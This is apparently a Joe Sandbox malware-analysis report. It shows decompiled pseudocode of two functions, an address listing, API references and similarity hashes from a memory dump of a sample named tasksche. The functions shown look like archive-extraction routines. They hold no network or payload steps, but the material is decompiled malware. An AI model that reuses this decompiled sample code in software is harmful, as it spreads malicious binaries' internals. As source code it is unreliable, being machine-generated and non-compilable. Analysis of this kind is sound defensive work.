																																_t413 =  *((intOrPtr*)(_t611 + 8));
																																__eflags =  *((char*)(_t413 + 0x5194));
																																if( *((char*)(_t413 + 0x5194)) == 0) {
																																	goto L184;
																																}
																																E00408C47(_t613 - 0x1158);
																																goto L178;
																															}
																															__eflags =  *(_t500 + 0x76d8) - 5;
																															if( *(_t500 + 0x76d8) != 5) {
																																goto L184;
																															}
																															__eflags =  *((char*)(_t613 + 0xb));
																															if( *((char*)(_t613 + 0xb)) == 0) {
																																goto L184;
																															}
																															goto L175;
																														}
																														__eflags =  *(_t613 - 0x18) - 0x45;
																														if( *(_t613 - 0x18) != 0x45) {
																															goto L184;
																														}
																														goto L172;
																													}
																													__eflags =  *((char*)(_t613 - 0x19));
																													if( *((char*)(_t613 - 0x19)) == 0) {
																														goto L169;
																													}
																													__eflags = _t398;
																													if(_t398 != 0) {
																														goto L169;
																													}
																													__eflags =  *((intOrPtr*)(_t500 + 0x7673)) - _t398;
																													if( *((intOrPtr*)(_t500 + 0x7673)) == _t398) {
																														L167:
																														_push(_t613 - 0x2158);
																														_push(_t500 + 0x1e);
																														_push(3);
																														L168:
																														E0040639F();
																														 *((char*)(_t613 - 0xd)) = 1;
																														E004062BA(0x4335ac, 3);
																														goto L169;
																													}
																													__eflags =  *((intOrPtr*)(_t500 + 0x7699)) - _t398;
																													if( *((intOrPtr*)(_t500 + 0x7699)) == _t398) {
																														L165:
																														__eflags =  *((char*)(_t611 + 0x445b));
																														if( *((char*)(_t611 + 0x445b)) != 0) {
																															goto L167;
																														}
																														_push(_t613 - 0x2158);
																														_push(_t500 + 0x1e);
																														_push(4);
																														goto L168;
																													}
																													__eflags =  *((intOrPtr*)(_t500 + 0xb064)) - _t398;
																													if( *((intOrPtr*)(_t500 + 0xb064)) == _t398) {
																														goto L167;
																													}
																													goto L165;
																												}
																												__eflags =  *(_t500 + 0x763c);
																												if(__eflags < 0) {
																													goto L159;
																												}
																												if(__eflags > 0) {
																													L157:
																													__eflags = _t398;
																													if(_t398 != 0) {
																														 *((char*)(_t611 + 0x445b)) = 1;
																													}
																													goto L159;
																												}
																												__eflags =  *(_t500 + 0x7638);
																												if( *(_t500 + 0x7638) <= 0) {
																													goto L159;
																												}
																												goto L157;
																											}
																											 *((char*)(_t611 + 0x445b)) = 0;
																											goto L159;
																										}
																										asm("sbb ecx, ecx");
																										_t423 = E00409AE9(_t500, _t611 + 0x38e0, _t590, __eflags, _t500 + 0x7648,  ~( *(_t500 + 0x76a2) & 0x000000ff) & _t500 + 0x000076a3);
																										__eflags = _t423;
																										if(_t423 == 0) {
																											goto L150;
																										}
																										_t398 = 1;
																										goto L151;
																									}
																									_t602 =  *(_t500 + 0x76d8);
																									__eflags = _t602 - 4;
																									if(__eflags == 0) {
																										L129:
																										_t560 = _t611;
																										E00406F23(_t611, __eflags, _t500, _t500 + 0x76dc, _t613 - 0x41a0, 0x800);
																										__eflags =  *((char*)(_t613 - 0xd));
																										if( *((char*)(_t613 - 0xd)) == 0) {
																											L135:
																											__eflags =  *((intOrPtr*)(_t500 + 0xb050)) - 2;
																											if( *((intOrPtr*)(_t500 + 0xb050)) != 2) {
																												L138:
																												__eflags =  *((char*)(_t613 - 0xd));
																												if( *((char*)(_t613 - 0xd)) == 0) {
																													L141:
																													_t434 = 0;
																													__eflags = 0;
																													L142:
																													 *((char*)(_t611 + 0x545d)) = _t434;
																													goto L147;
																												}
																												L139:
																												__eflags =  *((char*)(_t613 + 0xb));
																												if( *((char*)(_t613 + 0xb)) == 0) {
																													goto L141;
																												}
																												_t434 = 1;
																												goto L142;
																											}
																											__eflags =  *((char*)(_t613 - 0xd));
																											if( *((char*)(_t613 - 0xd)) != 0) {
																												goto L139;
																											}
																											L137:
																											 *((char*)(_t613 - 0x19)) = 0;
																											goto L138;
																										}
																										__eflags =  *((short*)(_t613 - 0x41a0));
																										if( *((short*)(_t613 - 0x41a0)) == 0) {
																											goto L135;
																										}
																										_push(0x800);
																										_push(_t613 - 0x41a0);
																										_push(_t611 + 0x545e);
																										__eflags = _t602 - 4;
																										if(__eflags != 0) {
																											_push(_t500 + 0x1e);
																											_push(_t613 - 0x1158);
																											_t440 = E00407276(_t590, _t602, __eflags);
																										} else {
																											_t440 = E0040677F(_t560, _t602, __eflags);
																										}
																										L134:
																										 *((char*)(_t613 + 0xb)) = _t440;
																										__eflags = _t440;
																										if(_t440 == 0) {
																											goto L137;
																										}
																										goto L135;
																									}
																									__eflags = _t602 - 5;
																									if(__eflags == 0) {
																										goto L129;
																									}
																									__eflags = _t602 - 1;
																									if(_t602 == 1) {
																										L127:
																										__eflags =  *((char*)(_t613 - 0xd));
																										if( *((char*)(_t613 - 0xd)) == 0) {
																											goto L135;
																										}
																										_push(_t611 + 0x545e);
																										_t440 = E00406CDB(_t531,  *((intOrPtr*)(_t613 - 0x28)), _t500);
																										goto L134;
																									}
																									__eflags = _t602 - 2;
																									if(_t602 == 2) {
																										goto L127;
																									}
																									__eflags = _t602 - 3;
																									if(_t602 == 3) {
																										goto L127;
																									}
																									E0040639F(0x46, _t500 + 0x1e, _t611 + 0x545e);
																									 *((char*)(_t613 + 0xb)) = 0;
																									goto L137;
																								}
																								__eflags =  *((char*)(_t613 - 0x1d));
																								if( *((char*)(_t613 - 0x1d)) != 0) {
																									goto L117;
																								}
																								__eflags =  *(_t613 - 0x18) - 0x50;
																								 *((char*)(_t613 - 0xd)) = 1;
																								if( *(_t613 - 0x18) != 0x50) {
																									goto L118;
																								}
																								goto L117;
																							}
																							__eflags =  *((intOrPtr*)(_t500 + 0xb064)) - _t395;
																							if( *((intOrPtr*)(_t500 + 0xb064)) != _t395) {
																								goto L114;
																							}
																							_t445 =  *(_t500 + 0x7630);
																							_t590 =  *(_t500 + 0x763c);
																							_t603 =  *(_t500 + 0x7638);
																							_t395 = _t445 << 0xb;
																							__eflags = ( *(_t500 + 0x7634) << 0x00000020 | _t445) << 0xb - _t590;
																							if(__eflags < 0) {
																								goto L114;
																							}
																							if(__eflags > 0) {
																								L107:
																								__eflags = _t590;
																								if(__eflags < 0) {
																									L113:
																									_t395 = E00408FBF(_t613 - 0x1158,  *(_t500 + 0x7638),  *(_t500 + 0x763c));
																									goto L114;
																								}
																								if(__eflags > 0) {
																									L110:
																									_t395 = E00408E03(_t500, _t590);
																									__eflags = _t590 -  *(_t500 + 0x7634);
																									if(__eflags < 0) {
																										goto L114;
																									}
																									if(__eflags > 0) {
																										goto L113;
																									}
																									__eflags = _t395 -  *(_t500 + 0x7630);
																									if(_t395 <=  *(_t500 + 0x7630)) {
																										goto L114;
																									}
																									goto L113;
																								}
																								__eflags = _t603 - 0x5f5e100;
																								if(_t603 < 0x5f5e100) {
																									goto L113;
																								}
																								goto L110;
																							}
																							__eflags = _t395 - _t603;
																							if(_t395 <= _t603) {
																								goto L114;
																							}
																							goto L107;
																						}
																						L101:
																						_t176 = _t611 + 0x444c;
																						 *_t176 =  *(_t611 + 0x444c) + 1;
																						__eflags =  *_t176;
																						goto L102;
																					}
																					__eflags =  *(_t613 - 0x18) - 0x50;
																					 *((char*)(_t613 - 0xf)) = 0;
																					if( *(_t613 - 0x18) != 0x50) {
																						_t446 = E00408C5A(_t613 - 0x1158);
																						__eflags = _t446;
																						if(_t446 != 0) {
																							E0040639F(0x3a, _t500 + 0x1e, _t611 + 0x545e);
																							E004064F3(0x4335ac, _t500 + 0x1e, _t611 + 0x545e);
																						}
																					}
																					goto L101;
																				}
																				 *((char*)(_t611 + 0x545d)) = 1;
																				__eflags =  *_t386;
																				if( *_t386 != 0) {
																					goto L125;
																				}
																				goto L97;
																			}
																			 *((char*)(_t613 - 0x1d)) = 1;
																			 *((char*)(_t613 + 0xf)) = 1;
																			_t452 = L004116E5(_t522, _t613 - 0x2158, 0, 0, 1);
																			__eflags = _t452;
																			if(_t452 != 0) {
																				goto L95;
																			}
																			_t502 = 0;
																			L84:
																			 *(_t613 - 4) = 0;
																			E00408C7D(_t502, _t613 - 0x1158);
																			 *(_t613 - 4) =  *(_t613 - 4) | 0xffffffff;
																			E0040D111(_t613 - 0x134);
																			_t364 = _t502;
																			goto L15;
																		}
																		__eflags =  *(_t613 - 0x18) - 0x50;
																		_t611 =  *((intOrPtr*)(_t613 - 0x24));
																		if( *(_t613 - 0x18) == 0x50) {
																			L88:
																			__eflags =  *((char*)(_t613 + 0xf));
																			if( *((char*)(_t613 + 0xf)) != 0) {
																				goto L95;
																			}
																			goto L91;
																		}
																		_t462 =  *((intOrPtr*)(_t611 + 8));
																		__eflags =  *((char*)(_t462 + 0x51c1));
																		if( *((char*)(_t462 + 0x51c1)) != 0) {
																			goto L88;
																		}
																		_t605 = _t611 + 0x545e;
																		 *((char*)(_t613 + 0xb)) = 0;
																		_t463 = E004092A5(_t611 + 0x545e);
																		__eflags = _t463;
																		if(_t463 == 0) {
																			L75:
																			__eflags =  *((char*)(_t613 + 0xb));
																			if( *((char*)(_t613 + 0xb)) == 0) {
																				goto L88;
																			}
																			L76:
																			 *((char*)(_t613 + 0xf)) = 0;
																			goto L88;
																		}
																		__eflags =  *((char*)(_t613 + 0xb));
																		if( *((char*)(_t613 + 0xb)) != 0) {
																			goto L76;
																		}
																		E004086BE( *((intOrPtr*)(_t611 + 8)), 0, _t605, 0x800, _t613 + 0xb,  *(_t500 + 0x7638),  *(_t500 + 0x763c), _t500 + 0x7618, 0);
																		goto L75;
																	}
																}
																_t475 = E0040733E(_t607, _t500, _t613 - 0x2158);
																__eflags = _t475;
																if(_t475 != 0) {
																	_t476 =  *((intOrPtr*)(_t607 + 8));
																	__eflags =  *((char*)(_t476 + 0x4124));
																	if( *((char*)(_t476 + 0x4124)) == 0) {
																		E004062BA(0x4335ac, 1);
																		 *((char*)(_t613 + 0xf)) = 0;
																	}
																	goto L60;
																}
																 *((char*)(_t607 + 0x645e)) = 1;
																goto L191;
															}
															L54:
															 *((char*)(_t613 + 0xf)) = 0;
															goto L55;
														}
														_t479 = E00407048(_t613 - 0x2190, _t500 + 0x7618);
														__eflags = _t479;
														if(_t479 == 0) {
															goto L55;
														}
														__eflags =  *((char*)(_t613 - 0x2194));
														if( *((char*)(_t613 - 0x2194)) == 0) {
															goto L54;
														} else {
															__eflags = E0040702A(_t613 - 0x2190, _t607);
															goto L53;
														}
													}
													__eflags =  *(_t613 - 0x18) - 0x58;
													if( *(_t613 - 0x18) != 0x58) {
														goto L55;
													}
													goto L48;
												}
												__eflags =  *((char*)(_t367 + 0x5154));
												if( *((char*)(_t367 + 0x5154)) == 0) {
													goto L55;
												}
												goto L46;
											}
											__eflags =  *_t595;
											if( *_t595 == 0) {
												goto L43;
											}
											__eflags =  *((char*)(_t500 + 0x7670));
											 *((char*)(_t613 + 0xf)) = 1;
											if( *((char*)(_t500 + 0x7670)) == 0) {
												goto L44;
											}
											goto L43;
										}
										__eflags =  *(_t613 - 0x18) - 0x49;
										if( *(_t613 - 0x18) == 0x49) {
											goto L38;
										} else {
											_t510 = 1;
											goto L39;
										}
									}
									_t481 =  *((intOrPtr*)(_t500 + 0xb054));
									 *((char*)(_t613 - 0x1d)) = _t481;
									__eflags = _t481;
									if(_t481 == 0) {
										goto L186;
									}
									goto L35;
								}
								_t482 =  *((intOrPtr*)(_t607 + 8));
								__eflags =  *((intOrPtr*)(_t482 + 0x6284)) - 1;
								if( *((intOrPtr*)(_t482 + 0x6284)) <= 1) {
									goto L33;
								}
								L32:
								 *(_t613 - 0xe) = 0;
								goto L33;
							}
							_t484 =  *( *((intOrPtr*)(_t607 + 8)) + 0x6284);
							__eflags = _t484 - 1;
							if(_t484 == 1) {
								goto L33;
							}
							__eflags =  *((char*)(_t613 - 0x10));
							if( *((char*)(_t613 - 0x10)) != 0) {
								goto L33;
							} else {
								__eflags = _t484;
								if(__eflags == 0) {
									 *(_t613 - 0xe) = _t484;
								}
								_push(0);
								__eflags =  *( *((intOrPtr*)(_t607 + 8)) + 0x6284) - 1 - E0040A351(_t613, __eflags, _t613 - 0x2158);
								if(__eflags != 0) {
									goto L32;
								} else {
									_push(1);
									E0040A351(_t613, __eflags, _t613 - 0x2158);
									goto L33;
								}
							}
						}
						__eflags =  *((intOrPtr*)(_t607 + 0x4454)) -  *((intOrPtr*)(_t504 + 0x92e8));
						if( *((intOrPtr*)(_t607 + 0x4454)) <  *((intOrPtr*)(_t504 + 0x92e8))) {
							goto L20;
						}
						__eflags =  *((char*)(_t607 + 0x4459));
						if( *((char*)(_t607 + 0x4459)) != 0) {
							goto L191;
						}
						goto L20;
					}
					__eflags = _t593 - 3;
					if(_t593 != 3) {
						L9:
						__eflags = _t593 - 5;
						if(_t593 != 5) {
							goto L189;
						}
						__eflags =  *((char*)(_t500 + 0x8904));
						if( *((char*)(_t500 + 0x8904)) == 0) {
							goto L191;
						}
						_t490 = E00418B3D(_t585, _t500, _t607 + 0x10, 0,  *(_t613 - 0x18));
						__eflags = _t490;
						if(_t490 != 0) {
							 *((intOrPtr*)( *_t500 + 0xc))( *((intOrPtr*)(_t500 + 0xb040)),  *((intOrPtr*)(_t500 + 0xb044)), 0);
							goto L14;
						} else {
							E004062BA(0x4335ac, 1);
							goto L191;
						}
					}
					__eflags =  *((char*)(_t607 + 0x545d));
					if( *((char*)(_t607 + 0x545d)) == 0) {
						goto L189;
					} else {
						E00406EB8(_t500, _t613,  *((intOrPtr*)(_t607 + 8)), _t500, _t607 + 0x545e);
						goto L9;
					}
				}
				if( *((char*)(__ecx + 0x21d7)) == 0) {
					L4:
					_t364 = 0;
					goto L16;
				}
				if(E00418B3D(__edx, _t500, __ecx + 0x10, 0, _t345) != 0) {
					goto L5;
				} else {
					E004062BA(0x4335ac, 1);
					goto L4;
				}
			}

0x004076aa
0x004076af
0x004076b9
0x004076c3
0x004076c7
0x004076cc
0x004076d3
0x004076d6
0x004076d9
0x00407708
0x00407709
0x0040770f
0x00407712
0x0040779c
0x0040779f
0x004077a6
0x004077ad
0x004077ca
0x004077e3
0x004077e7
0x004077ec
0x004077ee
0x004077f2
0x004077f6
0x004077f8
0x004077fc
0x004077fe
0x004077fe
0x004077fc
0x00407807
0x0040781a
0x0040781f
0x00407826
0x00407871
0x00407876
0x00407878
0x0040788a
0x00407890
0x00407896
0x004078a9
0x004078af
0x004078bd
0x004078c0
0x004078c4
0x004078c8
0x004078cc
0x004078df
0x004078e2
0x004078e8
0x004078ea
0x004078f7
0x004078f7
0x004078f7
0x004078f9
0x004078fc
0x0040790d
0x00407912
0x00407914
0x00408204
0x00408204
0x0040778b
0x0040778c
0x00407791
0x00407799
0x00407799
0x0040791f
0x00407930
0x00407935
0x00407939
0x0040794e
0x0040794e
0x00407952
0x00407952
0x00407955
0x0040795c
0x00407967
0x00407967
0x0040796c
0x00407975
0x0040797b
0x00407980
0x0040798a
0x0040798f
0x00407991
0x004079c5
0x004079cc
0x004079cc
0x004079d2
0x004079d2
0x004079de
0x00407a18
0x00407a22
0x00407a27
0x00407a29
0x00407a2f
0x00407a32
0x00407a32
0x00407a45
0x00407a4c
0x00407a4e
0x00407a50
0x00407a7e
0x00407a80
0x00407a94
0x00407a97
0x00407a9c
0x00407aa3
0x00407aa5
0x00407aac
0x00407abb
0x00407ac3
0x00407ac5
0x00407ac7
0x00407ace
0x00407ad6
0x00407ae2
0x00407ae7
0x00407ae7
0x00407ace
0x00407ac5
0x00407aac
0x00407aeb
0x00407af1
0x00407af6
0x00407afc
0x00407afe
0x00407b02
0x00407b06
0x00407b0a
0x00407b93
0x00407b93
0x00407b95
0x00407b9a
0x00407b9c
0x00407c29
0x00407c2d
0x00000000
0x00000000
0x00407c2f
0x00407c3a
0x00407c3c
0x00407c41
0x00000000
0x00407c41
0x00407ba2
0x00407ba6
0x00407c06
0x00407c0c
0x00407c10
0x00407c15
0x00407c1f
0x00000000
0x00407c1f
0x00407ba8
0x00407bad
0x00000000
0x00000000
0x00407baf
0x00407bb4
0x00000000
0x00000000
0x00407bb6
0x00407bbb
0x00000000
0x00000000
0x00407bbd
0x00407bc0
0x00407bc3
0x00407bca
0x00000000
0x00000000
0x00407bcc
0x00407bcc
0x00407bcc
0x00407bd8
0x00407bd9
0x00407bda
0x00407bdf
0x00000000
0x00407b10
0x00407b10
0x00407b13
0x00000000
0x00000000
0x00407b15
0x00407b19
0x00407c4c
0x00407c4c
0x00407c4f
0x00407c4f
0x00407c56
0x00407c7d
0x00407c81
0x004081a5
0x004081ab
0x004081af
0x004081b4
0x004081be
0x004081c3
0x004081c7
0x004081c9
0x004081c9
0x004081c9
0x004081c9
0x004081cf
0x004081cf
0x004081d2
0x004081d9
0x00000000
0x00000000
0x004081db
0x004081df
0x00407789
0x00407789
0x00000000
0x00407789
0x004081e5
0x004081ec
0x004081fa
0x004081fe
0x00000000
0x00000000
0x00000000
0x004081fe
0x004081ee
0x004081f0
0x00000000
0x004081f0
0x00407c87
0x00407c8a
0x00407c8f
0x00407c92
0x00407ca4
0x00407ca4
0x00407ca8
0x00407e5c
0x00407e5c
0x00407e60
0x00407e64
0x00407cef
0x00407cef
0x00407cf7
0x00407cfd
0x00407d03
0x00407d09
0x00407d26
0x00407d3c
0x00407d4d
0x00407d57
0x00407d5e
0x00407d63
0x00407d69
0x00407d6c
0x00407d6f
0x00407d71
0x00407de2
0x00407de2
0x00407def
0x00407df3
0x00407df9
0x00407e0c
0x00407e0c
0x00407e10
0x00407e10
0x00407e14
0x00407e18
0x00407e1c
0x00407f1c
0x00407f23
0x00407f25
0x00407f2c
0x00407f51
0x00407f52
0x00407f58
0x00407f63
0x00407f69
0x00407f6f
0x00407f75
0x00407f7b
0x00407f98
0x00407f2e
0x00407f2e
0x00407f34
0x00407f3a
0x00407f3d
0x00407f3d
0x00407f2c
0x00407f9d
0x00407f9f
0x00407fa4
0x00407fab
0x00407fdb
0x00407fdb
0x00407fdb
0x00407fdd
0x00407fdd
0x00407fe4
0x00407fef
0x00407ff6
0x00408017
0x00408017
0x0040801b
0x0040801f
0x0040807d
0x0040807d
0x00408081
0x00000000
0x00000000
0x00408087
0x0040808c
0x00408099
0x00408099
0x0040809d
0x004080b6
0x004080b6
0x004080ba
0x004080d7
0x004080d7
0x004080da
0x004080e1
0x004080e3
0x004080e3
0x004080e3
0x004080e3
0x004080f5
0x00408108
0x0040811b
0x0040812c
0x00408137
0x00408147
0x00408154
0x00408165
0x0040816a
0x0040816d
0x00408174
0x00408183
0x00408188
0x0040818a
0x00408199
0x00408199
0x0040818a
0x0040819e
0x00000000
0x0040819e
0x004080bc
0x004080bf
0x004080c6
0x00000000
0x00000000
0x004080d2
0x00000000
0x004080d2
0x0040809f
0x004080a6
0x00000000
0x00000000
0x004080ac
0x004080b0
0x00000000
0x00000000
0x00000000
0x004080b0
0x0040808e
0x00408093
0x00000000
0x00000000
0x00000000
0x00408093
0x00408021
0x00408025
0x00000000
0x00000000
0x00408027
0x00408029
0x00000000
0x00000000
0x0040802b
0x00408031
0x0040805b
0x00408061
0x00408065
0x00408066
0x00408068
0x00408068
0x00408074
0x00408078
0x00000000
0x00408078
0x00408033
0x00408039
0x00408043
0x00408043
0x0040804a
0x00000000
0x00000000
0x00408052
0x00408056
0x00408057
0x00000000
0x00408057
0x0040803b
0x00408041
0x00000000
0x00000000
0x00000000
0x00408041
0x00407ff8
0x00407fff
0x00000000
0x00000000
0x00408001
0x0040800c
0x0040800c
0x0040800e
0x00408010
0x00408010
0x00000000
0x0040800e
0x00408003
0x0040800a
0x00000000
0x00000000
0x00000000
0x0040800a
0x00407fe6
0x00000000
0x00407fe6
0x00407fb6
0x00407fce
0x00407fd3
0x00407fd5
0x00000000
0x00000000
0x00407fd7
0x00000000
0x00407fd7
0x00407e22
0x00407e28
0x00407e2b
0x00407e88
0x00407e9c
0x00407e9e
0x00407ea3
0x00407ea7
0x00407eeb
0x00407eeb
0x00407ef2
0x00407efe
0x00407efe
0x00407f02
0x00407f0f
0x00407f0f
0x00407f0f
0x00407f11
0x00407f11
0x00000000
0x00407f11
0x00407f04
0x00407f04
0x00407f08
0x00000000
0x00000000
0x00407f0c
0x00000000
0x00407f0c
0x00407ef4
0x00407ef8
0x00000000
0x00000000
0x00407efa
0x00407efa
0x00000000
0x00407efa
0x00407ea9
0x00407eb1
0x00000000
0x00000000
0x00407eb3
0x00407ebe
0x00407ec5
0x00407ec6
0x00407ec9
0x00407ed5
0x00407edc
0x00407edf
0x00407ecb
0x00407ecb
0x00407ecb
0x00407ee4
0x00407ee4
0x00407ee7
0x00407ee9
0x00000000
0x00000000
0x00000000
0x00407ee9
0x00407e2d
0x00407e30
0x00000000
0x00000000
0x00407e32
0x00407e35
0x00407e6f
0x00407e6f
0x00407e73
0x00000000
0x00000000
0x00407e7b
0x00407e81
0x00000000
0x00407e81
0x00407e37
0x00407e3a
0x00000000
0x00000000
0x00407e3c
0x00407e3f
0x00000000
0x00000000
0x00407e4e
0x00407e53
0x00000000
0x00407e53
0x00407dfb
0x00407dff
0x00000000
0x00000000
0x00407e01
0x00407e06
0x00407e0a
0x00000000
0x00000000
0x00000000
0x00407e0a
0x00407d73
0x00407d79
0x00000000
0x00000000
0x00407d7b
0x00407d87
0x00407d8d
0x00407d97
0x00407d9a
0x00407d9c
0x00000000
0x00000000
0x00407d9e
0x00407da4
0x00407da4
0x00407da6
0x00407dcb
0x00407ddd
0x00000000
0x00407ddd
0x00407da8
0x00407db2
0x00407db4
0x00407db9
0x00407dbf
0x00000000
0x00000000
0x00407dc1
0x00000000
0x00000000
0x00407dc3
0x00407dc9
0x00000000
0x00000000
0x00000000
0x00407dc9
0x00407daa
0x00407db0
0x00000000
0x00000000
0x00000000
0x00407db0
0x00407da0
0x00407da2
0x00000000
0x00000000
0x00000000
0x00407da2
0x00407ce9
0x00407ce9
0x00407ce9
0x00407ce9
0x00000000
0x00407ce9
0x00407cae
0x00407cb3
0x00407cb7
0x00407cbf
0x00407cc4
0x00407cc6
0x00407cd5
0x00407ce4
0x00407ce4
0x00407cc6
0x00000000
0x00407cb7
0x00407c94
0x00407c9b
0x00407c9e
0x00000000
0x00000000
0x00000000
0x00407c9e
0x00407c65
0x00407c69
0x00407c6d
0x00407c72
0x00407c74
0x00000000
0x00000000
0x00407c76
0x00407be1
0x00407be7
0x00407beb
0x00407bf0
0x00407bfa
0x00407bff
0x00000000
0x00407bff
0x00407b1f
0x00407b24
0x00407b27
0x00407c44
0x00407c44
0x00407c48
0x00000000
0x00000000
0x00000000
0x00407c4a
0x00407b2d
0x00407b30
0x00407b37
0x00000000
0x00000000
0x00407b3d
0x00407b44
0x00407b48
0x00407b4d
0x00407b4f
0x00407b80
0x00407b80
0x00407b84
0x00000000
0x00000000
0x00407b8a
0x00407b8a
0x00000000
0x00407b8a
0x00407b51
0x00407b55
0x00000000
0x00000000
0x00407b7b
0x00000000
0x00407b7b
0x00407b0a
0x004079ea
0x004079ef
0x004079f1
0x004079ff
0x00407a02
0x00407a09
0x00407a0f
0x00407a14
0x00407a14
0x00000000
0x00407a09
0x004079f3
0x00000000
0x004079f3
0x004079ce
0x004079ce
0x00000000
0x004079ce
0x004079a0
0x004079a5
0x004079a7
0x00000000
0x00000000
0x004079a9
0x004079b0
0x00000000
0x004079b2
0x004079be
0x00000000
0x004079be
0x004079b0
0x0040796e
0x00407973
0x00000000
0x00000000
0x00000000
0x00407973
0x0040795e
0x00407965
0x00000000
0x00000000
0x00000000
0x00407965
0x0040793b
0x0040793f
0x00000000
0x00000000
0x00407941
0x00407948
0x0040794c
0x00000000
0x00000000
0x00000000
0x0040794c
0x004078ec
0x004078f1
0x00000000
0x004078f3
0x004078f3
0x00000000
0x004078f3
0x004078f1
0x004078ce
0x004078d4
0x004078d7
0x004078d9
0x00000000
0x00000000
0x00000000
0x004078d9
0x0040787a
0x0040787d
0x00407884
0x00000000
0x00000000
0x00407886
0x00407886
0x00000000
0x00407886
0x0040782b
0x00407831
0x00407834
0x00000000
0x00000000
0x00407836
0x0040783a
0x00000000
0x0040783c
0x0040783c
0x0040783e
0x00407840
0x00407840
0x00407843
0x0040785b
0x0040785d
0x00000000
0x0040785f
0x0040785f
0x00407868
0x00000000
0x00407868
0x0040785d
0x0040783a
0x004077b5
0x004077bb
0x00000000
0x00000000
0x004077bd
0x004077c4
0x00000000
0x00000000
0x00000000
0x004077c4
0x00407718
0x0040771b
0x0040773a
0x0040773a
0x0040773d
0x00000000
0x00000000
0x00407743
0x0040774a
0x00000000
0x00000000
0x0040775a
0x0040775f
0x00407761
0x00407786
0x00000000
0x00407763
0x0040776a
0x00000000
0x0040776a
0x00407761
0x0040771d
0x00407724
0x00000000
0x0040772a
0x00407735
0x00000000
0x00407735
0x00407724
0x004076e2
0x00407701
0x00407701
0x00000000
0x00407701
0x004076f3
0x00000000
0x004076f5
0x004076fc
0x00000000
0x004076fc

APIs

__EH_prolog.LIBCMT ref: 004076AF

Part of subcall function 00418B3D: _wcscpy.LIBCMT ref: 00418C26

_memcmp.LIBCMT ref: 00407ABB

Strings

E, xrefs: 0040808E

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: H_prolog_memcmp_wcscpy
String ID: E
API String ID: 1926841707-3568589458
Opcode ID: 6c4558fb238d66dc116ff5003075a2549135680b9de7e03f82a9277970bbe958
Instruction ID: c8680630b07ceb330da05956c27536b96a03d31217007f6de18683c0289c3294
Opcode Fuzzy Hash: 6c4558fb238d66dc116ff5003075a2549135680b9de7e03f82a9277970bbe958
Instruction Fuzzy Hash: 4872B870D086849EEF25DB64C844BEA7BA55F05304F0840FFE94A6B2D2C77D7984CB6A

Uniqueness

Uniqueness Score: -1.00%

Function 0040820B Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 119
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E0040820B(intOrPtr __ecx, intOrPtr __edx, void* __eflags) {
				void* __edi;
				void* _t47;
				void* _t50;
				signed int _t53;
				signed int _t54;
				signed int _t58;
				signed int _t63;
				signed int _t77;
				void* _t82;
				signed int _t85;
				void* _t97;
				intOrPtr _t101;
				void* _t103;
				void* _t106;

				_t106 = __eflags;
				_t96 = __edx;
				E0041A4DC(E004296DE, _t103);
				E0041AAF0(0xe0f4);
				_t101 = __ecx;
				_push(_t97);
				E00401822(_t103 - 0xe100, __edx, _t97, _t106,  *((intOrPtr*)(__ecx + 8)));
				_t98 = __ecx + 0x445c;
				_t77 = 0;
				 *(_t103 - 4) = 0;
				_t47 = E004088FD(_t103 - 0xe100, __ecx + 0x445c);
				_t82 = _t103 - 0xe100;
				if(_t47 == 0) {
					L18:
					 *(_t103 - 4) =  *(_t103 - 4) | 0xffffffff;
					E00401228(_t82, _t98); // executed
					 *[fs:0x0] =  *((intOrPtr*)(_t103 - 0xc));
					return 0;
				}
				_push(1); // executed
				_t50 = E00401417(_t82, __edx); // executed
				if(_t50 != 0) {
					__eflags =  *(_t103 - 0x309b);
					if( *(_t103 - 0x309b) != 0) {
						L17:
						_t82 = _t103 - 0xe100;
						goto L18;
					}
					 *((intOrPtr*)(_t103 - 0x14)) = 0;
					__eflags =  *(_t103 - 0x30ab);
					if(__eflags == 0) {
						L10:
						E004070BC(_t101, _t96, _t103, __eflags, _t103 - 0xe100);
						_t53 =  *(_t101 + 8);
						_t85 =  *(_t53 + 0x72b2) & 0x0000ffff;
						__eflags = _t85 - 0x54;
						if(_t85 == 0x54) {
							L12:
							 *((char*)(_t53 + 0x51c1)) = 1;
							L13:
							_t54 =  *(_t101 + 8);
							__eflags =  *((short*)(_t54 + 0x72b2)) - 0x49;
							if( *((short*)(_t54 + 0x72b2)) != 0x49) {
								__eflags =  *((char*)(_t54 + 0x51c1));
								_t33 =  *((char*)(_t54 + 0x51c1)) == 0;
								__eflags =  *((char*)(_t54 + 0x51c1)) == 0;
								_t54 = E004116C9((_t54 & 0xffffff00 | _t33) & 0x000000ff, (_t54 & 0xffffff00 | _t33) & 0x000000ff, _t101 + 0x445c);
							}
							E00401000(_t54);
							do {
								_t58 = E004076AA(_t101, _t96, _t103 - 0xe100, E0040369F(_t96, _t103), _t103 - 0xd); // executed
								__eflags = _t58;
							} while (_t58 != 0);
							goto L17;
						}
						__eflags = _t85 - 0x49;
						if(_t85 != 0x49) {
							goto L13;
						}
						goto L12;
					}
					_t63 = E0041A7F7(_t103 - 0x1018, _t103 - 0xe0e2);
					__eflags =  *(_t103 - 0x30a6);
					_t98 = 0x800;
					while(1) {
						E0040A8A1(_t103 - 0x1018, _t98, (_t63 & 0xffffff00 | __eflags == 0x00000000) & 0x000000ff);
						E004067E1(_t103 - 0x2060);
						_push(0);
						__eflags = E004096BC(_t96, _t103 - 0x1018, _t103 - 0x2060);
						if(__eflags == 0) {
							break;
						}
						_t77 = _t77 +  *((intOrPtr*)(_t103 - 0x1060));
						_t63 =  *(_t103 - 0x105c);
						asm("adc [ebp-0x14], eax");
						__eflags =  *(_t103 - 0x30a6);
					}
					 *((intOrPtr*)(_t101 + 0x2210)) =  *((intOrPtr*)(_t101 + 0x2210)) + _t77;
